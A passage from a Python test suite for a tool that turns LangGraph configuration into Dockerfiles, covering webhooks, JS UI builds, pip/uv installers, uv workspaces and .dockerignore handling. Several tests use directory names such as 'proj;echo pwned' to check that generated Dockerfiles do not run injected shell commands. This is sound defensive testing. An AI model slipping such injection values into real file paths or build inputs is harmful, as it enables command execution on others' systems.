    """Helper to extract and parse a JSON value from an ENV line in a Dockerfile."""
    line_prefix = f"ENV {var_name}='"
    for line in dockerfile.splitlines():
        if line.startswith(line_prefix) and line.endswith("'"):
            json_str = line[len(line_prefix) : -1]
            return json.loads(json_str)
    raise AssertionError(f"{var_name} not found in Dockerfile env lines")


def test_config_to_docker_webhooks_python():
    graphs = {"agent": "./agent.py:graph"}
    webhooks = {
        "env_prefix": "LG_WEBHOOK_",
        "url": {
            "require_https": True,
            "allowed_domains": ["hooks.example.com", "*.example.org"],
            "allowed_ports": [443],
            "max_url_length": 1024,
            "disable_loopback": False,
        },
        "headers": {
            "x-auth": "${{ env.LG_WEBHOOK_TOKEN }}",
            "x-mixed": "Bearer ${{ env.LG_WEBHOOK_TOKEN }}-suffix",
        },
    }

    dockerfile, _ = config_to_docker(
        PATH_TO_CONFIG,
        validate_config(
            {
                "dependencies": ["."],
                "graphs": graphs,
                "webhooks": webhooks,
            }
        ),
        base_image="langchain/langgraph-api",
    )

    # Ensure the ENV line is present and the payload round-trips via JSON
    parsed = _extract_env_json(dockerfile, "LANGGRAPH_WEBHOOKS")
    assert parsed == webhooks


def test_config_to_docker_webhooks_node():
    graphs = {"agent": "./graphs/agent.js:graph"}
    webhooks = {
        "env_prefix": "LG_WEBHOOK_",
        "url": {"require_https": True},
        "headers": {"x-auth": "${{ env.LG_WEBHOOK_TOKEN }}"},
    }

    dockerfile, _ = config_to_docker(
        PATH_TO_CONFIG,
        validate_config(
            {
                "node_version": "20",
                "graphs": graphs,
                "webhooks": webhooks,
            }
        ),
        base_image="langchain/langgraphjs-api",
    )

    parsed = _extract_env_json(dockerfile, "LANGGRAPH_WEBHOOKS")
    assert parsed == webhooks


def test_config_to_docker_no_webhooks():
    graphs = {"agent": "./agent.py:graph"}
    dockerfile, _ = config_to_docker(
        PATH_TO_CONFIG,
        validate_config({"dependencies": ["."], "graphs": graphs}),
        base_image="langchain/langgraph-api",
    )

    assert "ENV LANGGRAPH_WEBHOOKS=" not in dockerfile


def test_config_to_docker_gen_ui_python():
    graphs = {"agent": "./agent.py:graph"}
    actual_docker_stdin, additional_contexts = config_to_docker(
        PATH_TO_CONFIG,
        validate_config(
            {
                "dependencies": ["."],
                "graphs": graphs,
                "ui": {"agent": "./graphs/agent.ui.jsx"},
                "ui_config": {"shared": ["nuqs"]},
            }
        ),
        base_image="langchain/langgraph-api",
    )

    expected_docker_stdin = f"""FROM langchain/langgraph-api:3.11
RUN /storage/install-node.sh
# -- Adding non-package dependency unit_tests --
ADD . /deps/outer-unit_tests/unit_tests
RUN set -ex && \\
    for line in '[project]' \\
                'name = "unit_tests"' \\
                'version = "0.1"' \\
                '[tool.setuptools.package-data]' \\
                '"*" = ["**/*"]' \\
                '[build-system]' \\
                'requires = ["setuptools>=61"]' \\
                'build-backend = "setuptools.build_meta"'; do \\
        echo "$line" >> /deps/outer-unit_tests/pyproject.toml; \\
    done
# -- End of non-package dependency unit_tests --
# -- Installing all local dependencies --
RUN for dep in /deps/*; do             echo "Installing $dep";             if [ -d "$dep" ]; then                 echo "Installing $dep";                 (cd "$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
# -- End of local dependencies install --
ENV LANGGRAPH_UI='{{"agent": "./graphs/agent.ui.jsx"}}'
ENV LANGGRAPH_UI_CONFIG='{{"shared": ["nuqs"]}}'
ENV LANGSERVE_GRAPHS='{{"agent": "/deps/outer-unit_tests/unit_tests/agent.py:graph"}}'
# -- Installing JS dependencies --
ENV NODE_VERSION=20
WORKDIR /deps/outer-unit_tests/unit_tests
RUN npm i && tsx /api/langgraph_api/js/build.mts
# -- End of JS dependencies install --
{FORMATTED_CLEANUP_LINES}
WORKDIR /deps/outer-unit_tests/unit_tests"""

    assert clean_empty_lines(actual_docker_stdin) == expected_docker_stdin
    assert additional_contexts == {}


def test_config_to_docker_multiplatform():
    graphs = {
        "python": "./multiplatform/python.py:graph",
        "js": "./multiplatform/js.mts:graph",
    }
    actual_docker_stdin, additional_contexts = config_to_docker(
        PATH_TO_CONFIG,
        validate_config(
            {"node_version": "22", "dependencies": ["."], "graphs": graphs}
        ),
        base_image="langchain/langgraph-api",
    )

    expected_docker_stdin = f"""FROM langchain/langgraph-api:3.11
RUN /storage/install-node.sh
# -- Adding non-package dependency unit_tests --
ADD . /deps/outer-unit_tests/unit_tests
RUN set -ex && \\
    for line in '[project]' \\
                'name = "unit_tests"' \\
                'version = "0.1"' \\
                '[tool.setuptools.package-data]' \\
                '"*" = ["**/*"]' \\
                '[build-system]' \\
                'requires = ["setuptools>=61"]' \\
                'build-backend = "setuptools.build_meta"'; do \\
        echo "$line" >> /deps/outer-unit_tests/pyproject.toml; \\
    done
# -- End of non-package dependency unit_tests --
# -- Installing all local dependencies --
RUN for dep in /deps/*; do             echo "Installing $dep";             if [ -d "$dep" ]; then                 echo "Installing $dep";                 (cd "$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
# -- End of local dependencies install --
ENV LANGSERVE_GRAPHS='{{"python": "/deps/outer-unit_tests/unit_tests/multiplatform/python.py:graph", "js": "/deps/outer-unit_tests/unit_tests/multiplatform/js.mts:graph"}}'
# -- Installing JS dependencies --
ENV NODE_VERSION=22
WORKDIR /deps/outer-unit_tests/unit_tests
RUN npm i && tsx /api/langgraph_api/js/build.mts
# -- End of JS dependencies install --
{FORMATTED_CLEANUP_LINES}
WORKDIR /deps/outer-unit_tests/unit_tests"""

    assert clean_empty_lines(actual_docker_stdin) == expected_docker_stdin
    assert additional_contexts == {}


def test_config_to_docker_gen_ui_python_uses_workdir_with_special_chars():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        project_dir = tmpdir_path / "proj;echo pwned"
        project_dir.mkdir()
        config_path = project_dir / "langgraph.json"
        config_path.write_text("{}\n")
        (project_dir / "agent.py").write_text("graph = object()\n")
        (project_dir / "ui.jsx").write_text("export default null;\n")

        docker, _ = config_to_docker(
            config_path,
            validate_config(
                {
                    "dependencies": ["."],
                    "graphs": {"agent": "./agent.py:graph"},
                    "ui": {"agent": "./ui.jsx"},
                }
            ),
            base_image="langchain/langgraph-api",
        )

        assert "WORKDIR /deps/outer-proj;echo pwned/src" in docker
        assert "RUN npm i && tsx /api/langgraph_api/js/build.mts" in docker
        assert "RUN cd /deps/outer-proj;echo pwned/src" not in docker
        assert ">> '/deps/outer-proj;echo pwned/pyproject.toml'" in docker


def test_config_to_docker_nodejs_uses_workdir_with_special_chars():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        project_dir = tmpdir_path / "proj;echo pwned"
        project_dir.mkdir()
        config_path = project_dir / "langgraph.json"
        config_path.write_text("{}\n")
        (project_dir / "agent.js").write_text("export const graph = {};\n")
        (project_dir / "package.json").write_text('{"name":"test"}\n')

        docker, _ = config_to_docker(
            config_path,
            validate_config(
                {
                    "node_version": "20",
                    "graphs": {"agent": "./agent.js:graph"},
                }
            ),
            base_image="langchain/langgraphjs-api",
        )

        assert "WORKDIR /deps/proj;echo pwned" in docker
        assert "RUN npm i" in docker
        assert "RUN cd /deps/proj;echo pwned" not in docker


def test_config_to_docker_pip_installer():
    """Test that pip_installer setting affects the generated Dockerfile."""
    graphs = {"agent": "./graphs/agent.py:graph"}
    base_config = {
        "python_version": "3.11",
        "dependencies": ["."],
        "graphs": graphs,
    }

    # Test default (auto) behavior with UV-supporting image
    config_auto = validate_config(
        {**copy.deepcopy(base_config), "pip_installer": "auto"}
    )
    docker_auto, _ = config_to_docker(
        PATH_TO_CONFIG, config_auto, base_image="langchain/langgraph-api:0.2.47"
    )
    assert "uv pip install --system " in docker_auto
    assert "rm /usr/bin/uv /usr/bin/uvx" in docker_auto

    # Test explicit pip setting
    config_pip = validate_config({**copy.deepcopy(base_config), "pip_installer": "pip"})
    docker_pip, _ = config_to_docker(
        PATH_TO_CONFIG, config_pip, base_image="langchain/langgraph-api:0.2.47"
    )
    assert "uv pip install --system " not in docker_pip
    assert "pip install" in docker_pip
    assert "rm /usr/bin/uv" not in docker_pip

    # Test explicit uv setting
    config_uv = validate_config({**copy.deepcopy(base_config), "pip_installer": "uv"})
    docker_uv, _ = config_to_docker(
        PATH_TO_CONFIG, config_uv, base_image="langchain/langgraph-api:0.2.47"
    )
    assert "uv pip install --system " in docker_uv
    assert "rm /usr/bin/uv /usr/bin/uvx" in docker_uv

    # Test auto behavior with older image (should use pip)
    config_auto_old = validate_config(
        {**copy.deepcopy(base_config), "pip_installer": "auto"}
    )
    docker_auto_old, _ = config_to_docker(
        PATH_TO_CONFIG, config_auto_old, base_image="langchain/langgraph-api:0.2.46"
    )
    assert "uv pip install --system " not in docker_auto_old
    assert "pip install" in docker_auto_old
    assert "rm /usr/bin/uv" not in docker_auto_old

    # Test that missing pip_installer defaults to auto behavior
    config_default = validate_config(copy.deepcopy(base_config))
    docker_default, _ = config_to_docker(
        PATH_TO_CONFIG, config_default, base_image="langchain/langgraph-api:0.2.47"
    )
    assert "uv pip install --system " in docker_default


def test_config_to_docker_uv_lock():
    """Test that uv_lock installs only the planned workspace closure."""
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        project_root, config_path = _write_uv_lock_workspace(
            tmpdir_path,
            agent_sources="[tool.uv.sources]\nshared = { workspace = true }",
        )
        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {
                    "agent": "../../apps/agent/src/agent/graph.py:graph",
                },
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
                "auth": {"path": "../../libs/shared/src/shared/auth.py:create_auth"},
            }
        )
        docker, additional_contexts = config_to_docker(
            config_path, config, base_image="langchain/langgraph-api:0.2.47"
        )

        assert "uv pip install --system" in docker
        assert (
            "uv export --package agent --frozen --no-hashes --no-emit-project --no-emit-workspace"
            in docker
        )
        assert (
            "COPY --from=uv-workspace-root pyproject.toml /tmp/uv_export/project/pyproject.toml"
            in docker
        )
        assert (
            "COPY --from=uv-workspace-root uv.lock /tmp/uv_export/project/uv.lock"
            in docker
        )
        assert additional_contexts == {"uv-workspace-root": str(project_root.resolve())}

        assert (
            "COPY --from=uv-workspace-root apps/agent /deps/workspace/apps/agent"
            in docker
        )
        assert (
            "COPY --from=uv-workspace-root libs/shared /deps/workspace/libs/shared"
            in docker
        )
        assert "libs/extra /deps/workspace/libs/extra" not in docker

        shared_workdir = "WORKDIR /deps/workspace/libs/shared"
        shared_install = (
            "RUN PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir "
            "-c /api/constraints.txt --no-deps -e ."
        )
        agent_workdir = "WORKDIR /deps/workspace/apps/agent"
        agent_install = shared_install
        assert shared_workdir in docker
        assert shared_install in docker
        assert agent_workdir in docker
        assert agent_install in docker
        shared_copy = (
            "COPY --from=uv-workspace-root libs/shared /deps/workspace/libs/shared"
        )
        agent_copy = (
            "COPY --from=uv-workspace-root apps/agent /deps/workspace/apps/agent"
        )
        assert docker.index(shared_copy) < docker.index(shared_workdir)
        assert docker.index(shared_workdir) < docker.index(agent_copy)
        assert docker.index(shared_workdir) < docker.index(agent_workdir)
        assert "for dep in /deps/*" not in docker
        assert "# -- Installing workspace packages --" not in docker
        assert "WORKDIR /tmp/uv_export/project" in docker
        assert "RUN cd " not in docker
        assert (
            '"path": "/deps/workspace/libs/shared/src/shared/auth.py:create_auth"'
            in docker
        )
        assert (
            '"agent": "/deps/workspace/apps/agent/src/agent/graph.py:graph"' in docker
        )
        assert "rm /usr/bin/uv /usr/bin/uvx" in docker


def test_config_to_docker_uv_lock_honors_root_workspace_sources():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        _, config_path = _write_uv_lock_workspace(
            tmpdir_path,
            root_sources="[tool.uv.sources]\nshared = { workspace = true }",
        )

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {
                    "agent": "../../apps/agent/src/agent/graph.py:graph",
                },
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
                "auth": {"path": "../../libs/shared/src/shared/auth.py:create_auth"},
            }
        )
        docker, _ = config_to_docker(
            config_path, config, base_image="langchain/langgraph-api:0.2.47"
        )

        assert (
            "COPY --from=uv-workspace-root libs/shared /deps/workspace/libs/shared"
            in docker
        )
        assert (
            '"path": "/deps/workspace/libs/shared/src/shared/auth.py:create_auth"'
            in docker
        )


def test_config_to_docker_uv_lock_ignores_unrelated_workspace_package_sources():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        project_root, config_path = _write_uv_lock_workspace(
            tmpdir_path,
            agent_sources="[tool.uv.sources]\nshared = { workspace = true }",
        )
        badlib_dir = project_root / "libs" / "badlib"
        badlib_dir.mkdir()
        (badlib_dir / "pyproject.toml").write_text(
            textwrap.dedent(
                """
                [project]
                name = "badlib"
                version = "0.1.0"

                [tool.uv.sources]
                outside = { path = "../outside" }

                [build-system]
                requires = ["setuptools>=61"]
                build-backend = "setuptools.build_meta"
                """
            ).strip()
            + "\n"
        )

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {
                    "agent": "../../apps/agent/src/agent/graph.py:graph",
                },
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
                "auth": {"path": "../../libs/shared/src/shared/auth.py:create_auth"},
            }
        )
        docker, _ = config_to_docker(
            config_path, config, base_image="langchain/langgraph-api:0.2.47"
        )

        assert (
            "COPY --from=uv-workspace-root libs/shared /deps/workspace/libs/shared"
            in docker
        )
        assert (
            "COPY --from=uv-workspace-root libs/badlib /deps/workspace/libs/badlib"
            not in docker
        )


def test_config_to_docker_uv_lock_ignores_unrelated_root_sources():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        _, config_path = _write_uv_lock_workspace(
            tmpdir_path,
            root_sources=textwrap.dedent(
                """
                [tool.uv.sources]
                shared = { workspace = true }
                unused = { path = "libs/extra", editable = true }
                """
            ).strip(),
        )

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {
                    "agent": "../../apps/agent/src/agent/graph.py:graph",
                },
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
                "auth": {"path": "../../libs/shared/src/shared/auth.py:create_auth"},
            }
        )
        docker, _ = config_to_docker(
            config_path, config, base_image="langchain/langgraph-api:0.2.47"
        )

        assert (
            "COPY --from=uv-workspace-root libs/shared /deps/workspace/libs/shared"
            in docker
        )
        assert (
            "COPY --from=uv-workspace-root libs/extra /deps/workspace/libs/extra"
            not in docker
        )


def test_config_to_docker_uv_lock_validates_root_path_sources_relative_to_project_root():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        project_root, config_path = _write_uv_lock_workspace(
            tmpdir_path,
            root_sources='[tool.uv.sources]\nshared = { path = "../outside", editable = true }',
        )
        outside_dir = project_root.parent / "outside"
        outside_dir.mkdir()
        (outside_dir / "pyproject.toml").write_text(
            textwrap.dedent(
                """
                [project]
                name = "shared"
                version = "0.1.0"
                """
            ).strip()
            + "\n"
        )

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {
                    "agent": "../../apps/agent/src/agent/graph.py:graph",
                },
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
            }
        )
        with pytest.raises(click.UsageError, match="outside project_root"):
            config_to_docker(
                config_path, config, base_image="langchain/langgraph-api:0.2.47"
            )


def test_config_to_docker_uv_lock_requires_explicit_workspace_sources():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        _, config_path = _write_uv_lock_workspace(tmpdir_path)

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {
                    "agent": "../../apps/agent/src/agent/graph.py:graph",
                },
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
                "auth": {"path": "../../libs/shared/src/shared/auth.py:create_auth"},
            }
        )
        with pytest.raises(
            click.UsageError,
            match="not inside the target package 'agent'",
        ):
            config_to_docker(
                config_path, config, base_image="langchain/langgraph-api:0.2.47"
            )


def test_config_to_docker_uv_lock_accepts_path_workspace_sources():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        _, config_path = _write_uv_lock_workspace(
            tmpdir_path,
            agent_sources='[tool.uv.sources]\nshared = { path = "../../libs/shared", editable = true }',
        )

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {
                    "agent": "../../apps/agent/src/agent/graph.py:graph",
                },
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
            }
        )
        docker, _ = config_to_docker(
            config_path, config, base_image="langchain/langgraph-api:0.2.47"
        )

        assert (
            "COPY --from=uv-workspace-root libs/shared /deps/workspace/libs/shared"
            in docker
        )


def test_config_to_docker_uv_lock_rejects_package_false_workspace_dependency():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        _, config_path = _write_uv_lock_workspace(
            tmpdir_path,
            agent_sources="[tool.uv.sources]\nshared = { workspace = true }",
            shared_uv_config="[tool.uv]\npackage = false",
        )

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {
                    "agent": "../../apps/agent/src/agent/graph.py:graph",
                },
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
            }
        )
        with pytest.raises(click.UsageError, match="tool.uv.package = false"):
            config_to_docker(
                config_path, config, base_image="langchain/langgraph-api:0.2.47"
            )


def test_config_to_docker_uv_lock_accepts_root_path_workspace_sources():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        _, config_path = _write_uv_lock_workspace(
            tmpdir_path,
            root_sources='[tool.uv.sources]\nshared = { path = "libs/shared", editable = true }',
        )

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {
                    "agent": "../../apps/agent/src/agent/graph.py:graph",
                },
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
                "auth": {"path": "../../libs/shared/src/shared/auth.py:create_auth"},
            }
        )
        docker, _ = config_to_docker(
            config_path, config, base_image="langchain/langgraph-api:0.2.47"
        )

        assert (
            "COPY --from=uv-workspace-root libs/shared /deps/workspace/libs/shared"
            in docker
        )
        assert (
            '"path": "/deps/workspace/libs/shared/src/shared/auth.py:create_auth"'
            in docker
        )


def test_config_to_docker_uv_lock_rejects_mismatched_path_workspace_sources():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        _, config_path = _write_uv_lock_workspace(
            tmpdir_path,
            agent_sources='[tool.uv.sources]\nshared = { path = "../../libs/extra", editable = true }',
        )

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {
                    "agent": "../../apps/agent/src/agent/graph.py:graph",
                },
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
            }
        )
        with pytest.raises(
            click.UsageError,
            match="dependency name and the workspace package name must match",
        ):
            config_to_docker(
                config_path, config, base_image="langchain/langgraph-api:0.2.47"
            )


def test_config_to_docker_uv_lock_detects_js_pm_from_target_package_root():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        project_root, config_path = _write_uv_lock_workspace(
            tmpdir_path,
            agent_sources="[tool.uv.sources]\nshared = { workspace = true }",
        )
        agent_dir = project_root / "apps" / "agent"
        (agent_dir / "package.json").write_text('{"packageManager":"pnpm@9.0.0"}\n')
        (agent_dir / "pnpm-lock.yaml").write_text("lockfileVersion: 9.0\n")
        (agent_dir / "ui.tsx").write_text("export const ui = null;\n")

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {
                    "agent": "../../apps/agent/src/agent/graph.py:graph",
                },
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
                "ui": {"agent": "../../apps/agent/ui.tsx"},
            }
        )
        docker, _ = config_to_docker(
            config_path, config, base_image="langchain/langgraph-api:0.2.47"
        )

        assert "WORKDIR /deps/workspace/apps/agent" in docker
        assert (
            "RUN pnpm i --frozen-lockfile && tsx /api/langgraph_api/js/build.mts"
            in docker
        )
        assert (
            'ENV LANGGRAPH_UI=\'{"agent": "/deps/workspace/apps/agent/ui.tsx"}\''
            in docker
        )


def test_config_to_docker_uv_lock_uses_workdir_for_js_install_with_special_chars():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        project_root, config_path = _write_uv_lock_workspace(
            tmpdir_path,
            config_relative_dir="apps/agent;echo pwned",
        )
        agent_dir = project_root / "apps" / "agent;echo pwned"
        (agent_dir / "package.json").write_text('{"packageManager":"pnpm@9.0.0"}\n')
        (agent_dir / "pnpm-lock.yaml").write_text("lockfileVersion: 9.0\n")
        (agent_dir / "ui.tsx").write_text("export const ui = null;\n")

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {
                    "agent": "../../apps/agent;echo pwned/src/agent/graph.py:graph",
                },
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
                "ui": {"agent": "../../apps/agent;echo pwned/ui.tsx"},
            }
        )
        docker, _ = config_to_docker(
            config_path, config, base_image="langchain/langgraph-api:0.2.47"
        )

        assert "WORKDIR /deps/workspace/apps/agent;echo pwned" in docker
        assert (
            "RUN pnpm i --frozen-lockfile && tsx /api/langgraph_api/js/build.mts"
            in docker
        )
        assert "RUN cd /deps/workspace/apps/agent;echo pwned" not in docker


def test_config_to_docker_uv_lock_supports_single_uv_project_root():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        project_root = tmpdir_path / "single"
        project_root.mkdir()
        (project_root / "uv.lock").write_text("# uv lock file\n")
        (project_root / "pyproject.toml").write_text(
            textwrap.dedent(
                """
                [project]
                name = "single-app"
                version = "0.1.0"
                dependencies = ["httpx>=0.28"]

                [build-system]
                requires = ["setuptools>=61"]
                build-backend = "setuptools.build_meta"
                """
            ).strip()
            + "\n"
        )
        (project_root / "langgraph.json").write_text("{}\n")
        src_dir = project_root / "src"
        src_dir.mkdir()
        (src_dir / "agent.py").write_text("graph = object()\n")

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {"agent": "./src/agent.py:graph"},
                "source": {"kind": "uv"},
            }
        )
        docker, additional_contexts = config_to_docker(
            project_root / "langgraph.json",
            config,
            base_image="langchain/langgraph-api:0.2.47",
        )

        assert (
            "uv export --package single-app --frozen --no-hashes --no-emit-project --no-emit-workspace"
            in docker
        )
        assert '"agent": "/deps/workspace/src/agent.py:graph"' in docker
        assert additional_contexts == {}


def test_config_to_docker_uv_lock_skips_dockerignore_entries():
    """Entries filtered by .dockerignore / built-in excludes must not appear
    as ADD lines. Docker fails to compute the cache key for paths that the
    build context has stripped."""
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        project_root = tmpdir_path / "single"
        project_root.mkdir()
        (project_root / "uv.lock").write_text("# uv lock file\n")
        (project_root / "pyproject.toml").write_text(
            textwrap.dedent(
                """
                [project]
                name = "single-app"
                version = "0.1.0"
                dependencies = ["httpx>=0.28"]

                [build-system]
                requires = ["setuptools>=61"]
                build-backend = "setuptools.build_meta"
                """
            ).strip()
            + "\n"
        )
        (project_root / "langgraph.json").write_text("{}\n")
        (project_root / "src").mkdir()
        (project_root / "src" / "agent.py").write_text("graph = object()\n")
        (project_root / "README.md").write_text("# hi\n")

        # Built-in exclusions — must never appear as ADD lines.
        (project_root / ".git").mkdir()
        (project_root / ".git" / "HEAD").write_text("ref: refs/heads/main\n")
        (project_root / ".venv").mkdir()
        (project_root / ".venv" / "pyvenv.cfg").write_text("home = /usr\n")
        (project_root / "__pycache__").mkdir()
        (project_root / "__pycache__" / "x.cpython-311.pyc").write_bytes(b"\x00")

        # .dockerignore excludes .gitignore and a custom path.
        (project_root / ".dockerignore").write_text(".gitignore\nsecrets.env\n")
        (project_root / ".gitignore").write_text("*.pyc\n")
        (project_root / "secrets.env").write_text("TOKEN=abc\n")

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {"agent": "./src/agent.py:graph"},
                "source": {"kind": "uv"},
            }
        )
        docker, _ = config_to_docker(
            project_root / "langgraph.json",
            config,
            base_image="langchain/langgraph-api:0.2.47",
        )

        for excluded in (
            "ADD .git ",
            "ADD .gitignore ",
            "ADD .venv ",
            "ADD __pycache__ ",
            "ADD secrets.env ",
        ):
            assert excluded not in docker, (
                f"{excluded!r} should be filtered out of Dockerfile:\n{docker}"
            )

        # The .dockerignore itself is still part of the context and should be
        # ADDed (Docker needs it at build time, and archive.py includes it).
        assert "ADD .dockerignore /deps/workspace/.dockerignore" in docker
        assert "ADD src /deps/workspace/src" in docker
        assert "ADD README.md /deps/workspace/README.md" in docker


def test_config_to_docker_uv_lock_does_not_apply_gitignore():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        project_root = tmpdir_path / "single"
        project_root.mkdir()
        (project_root / "uv.lock").write_text("# uv lock file\n")
        (project_root / "pyproject.toml").write_text(
            textwrap.dedent(
                """
                [project]
                name = "single-app"
                version = "0.1.0"
                dependencies = ["httpx>=0.28"]

                [build-system]
                requires = ["setuptools>=61"]
                build-backend = "setuptools.build_meta"
                """
            ).strip()
            + "\n"
        )
        (project_root / "langgraph.json").write_text("{}\n")
        (project_root / "src").mkdir()
        (project_root / "src" / "agent.py").write_text("graph = object()\n")
        (project_root / "README.md").write_text("# hi\n")
        (project_root / ".gitignore").write_text("README.md\n")

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {"agent": "./src/agent.py:graph"},
                "source": {"kind": "uv"},
            }
        )
        docker, _ = config_to_docker(
            project_root / "langgraph.json",
            config,
            base_image="langchain/langgraph-api:0.2.47",
        )

        assert "ADD README.md /deps/workspace/README.md" in docker


def test_config_to_docker_uv_lock_skips_dockerignore_entries_in_workspace():
    """Multi-member workspace: ignore patterns must filter root-level entries
    AND entries encountered while recursing into directories that contain
    workspace members (the `descendant_member_roots` branch)."""
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        project_root, config_path = _write_uv_lock_workspace(
            tmpdir_path,
            agent_dependencies=["workspace-root", "shared", "httpx>=0.28"],
            root_sources="[tool.uv.sources]\nshared = { workspace = true }\nworkspace-root = { workspace = true }",
            agent_sources="[tool.uv.sources]\nshared = { workspace = true }\nworkspace-root = { workspace = true }",
        )
        root_src = project_root / "src" / "workspace_root"
        root_src.mkdir(parents=True)
        (root_src / "__init__.py").write_text("__all__ = []\n")
        (project_root / "README.md").write_text("workspace root package\n")

        # A non-member sibling of the `apps/agent` member that should be
        # filtered out via .dockerignore. This exercises the recursion into
        # `apps/` where `apps/agent` is kept (it's a member) but its sibling is
        # filtered.
        (project_root / "apps" / "scratch.txt").write_text("scratch\n")
        # A root-level path that .dockerignore excludes.
        (project_root / "secrets.env").write_text("TOKEN=abc\n")
        (project_root / ".dockerignore").write_text("secrets.env\napps/scratch.txt\n")

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {
                    "agent": "../../apps/agent/src/agent/graph.py:graph",
                },
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
            }
        )
        docker, _ = config_to_docker(
            config_path, config, base_image="langchain/langgraph-api:0.2.47"
        )

        assert "COPY --from=uv-workspace-root src /deps/workspace/src" in docker
        assert (
            "COPY --from=uv-workspace-root README.md /deps/workspace/README.md"
            in docker
        )
        assert (
            "COPY --from=uv-workspace-root .dockerignore /deps/workspace/.dockerignore"
            in docker
        )
        assert "secrets.env" not in docker
        assert "apps/scratch.txt" not in docker
        # Workspace members themselves are still copied via their own per-member
        # COPY line — the sibling filter must not disturb this.
        assert (
            "COPY --from=uv-workspace-root apps/agent /deps/workspace/apps/agent"
            in docker
        )


def test_config_to_docker_uv_lock_preserves_negated_dockerignore_descendants():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        project_root = tmpdir_path / "single"
        project_root.mkdir()
        (project_root / "uv.lock").write_text("# uv lock file\n")
        (project_root / "pyproject.toml").write_text(
            textwrap.dedent(
                """
                [project]
                name = "single-app"
                version = "0.1.0"
                dependencies = ["httpx>=0.28"]

                [build-system]
                requires = ["setuptools>=61"]
                build-backend = "setuptools.build_meta"
                """
            ).strip()
            + "\n"
        )
        (project_root / "langgraph.json").write_text("{}\n")
        (project_root / "src").mkdir()
        (project_root / "src" / "agent.py").write_text("graph = object()\n")
        (project_root / "assets").mkdir()
        (project_root / "assets" / "keep.txt").write_text("keep\n")
        (project_root / "assets" / "drop.txt").write_text("drop\n")
        (project_root / ".dockerignore").write_text("assets/\n!assets/keep.txt\n")

        config = validate_config(
            {
                "python_version": "3.11",
                "graphs": {"agent": "./src/agent.py:graph"},
                "source": {"kind": "uv"},
            }
        )
        docker, _ = config_to_docker(
            project_root / "langgraph.json",
            config,
            base_image="langchain/langgraph-api:0.2.47",
        )

        assert "ADD assets /deps/workspace/assets" not in docker
        assert "ADD assets/keep.txt /deps/workspace/assets/keep.txt" in docker
        assert "assets/drop.txt" not in docker


def test_config_to_docker_uv_lock_prunes_unrelated_ignored_subtrees():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)
        project_root = tmpdir_path / "single"
        project_root.mkdir()
        (project_root / "uv.lock").write_text("# uv lock file\n")
        (project_root / "pyproject.toml").write_text(
            textwrap.dedent(
                """
                [project]
                name = "single-app"
                version = "0.1.0"
                dependencies = ["httpx>=0.28"]

                [build-system]
                requires = ["setuptools>=61"]
                build-backend = "setuptools.build_meta"
                """
            ).strip()
            + "\n"
        )
